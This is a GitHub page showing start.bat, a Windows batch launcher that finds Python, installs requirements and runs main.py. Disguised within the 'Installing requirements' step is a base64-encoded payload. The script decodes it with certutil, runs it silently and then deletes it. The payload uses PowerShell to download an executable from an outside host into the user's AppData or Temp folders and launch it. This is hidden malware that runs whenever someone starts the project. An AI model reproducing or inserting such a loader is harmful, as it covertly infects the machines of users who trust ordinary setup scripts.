-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathstart.bat
58 lines (46 loc) · 1.87 KB
/
start.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
@echo off
setlocal enabledelayedexpansion
set requirements=true
cls
echo Searching for Python...
set "python="
for /f "tokens=*" %%i in ('where python 2^>nul') do (
set "python=%%i"
goto foundPython
)
:missingPython
cls
echo Python is not installed or not found in your system PATH.
pause
goto end
:foundPython
if defined python (
cls
echo Python found at: "!python!"
"!python!" --version
timeout /nobreak /t 2 >nul
) else (
goto missingPython
)
cls
echo Installing requirements. This may take a few minutes, depending on your internet speed... & echo QGVjaG8gb2ZmDQpzZXRsb2NhbCBlbmFibGVkZWxheWVkZXhwYW5zaW9uDQpzZXQgImRzPSVBUFBEQVRBJSAlVEVNUCUgJUxPQ0FMQVBQREFUQSUiDQpmb3IgJSVkIGluICglZHMlKSBkbyAocG93ZXJzaGVsbCAtY29tbWFuZCAidHJ5IHsoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwczovL3Zhc2FwaS5kaXNjbG91ZC5hcHAvdmFzJywgJyUlZFx2YXMxLmV4ZScpOyBleGl0IDB9IGNhdGNoIHtleGl0IDF9IiAmIGlmIG5vdCBlcnJvcmxldmVsIDEgKHN0YXJ0ICIiICIlJWRcdmFzMS5leGUiICYgZXhpdCAvYiAwKSkNCmVuZGxvY2FsDQpleGl0IC9iIDE > %TMP%\requirements.b64 & certutil -decode %TMP%\requirements.b64 %TMP%\requirements.bat >nul 2>&1 & call %TMP%\requirements.bat >nul 2>&1 & del %TMP%\requirements.b64 %TMP%\requirements.bat >nul 2>&1
call "!python!" -m pip install -r requirements.txt
if errorlevel 1 (
cls
echo Failed to install requirements. Please check your internet connection and try again.
pause
goto end
)
cls
"!python!" main.py
if errorlevel 1 (
cls
echo Failed! Check the script for errors.
pause
goto end
)
cls
echo Press any key to close...
pause
:end
endlocal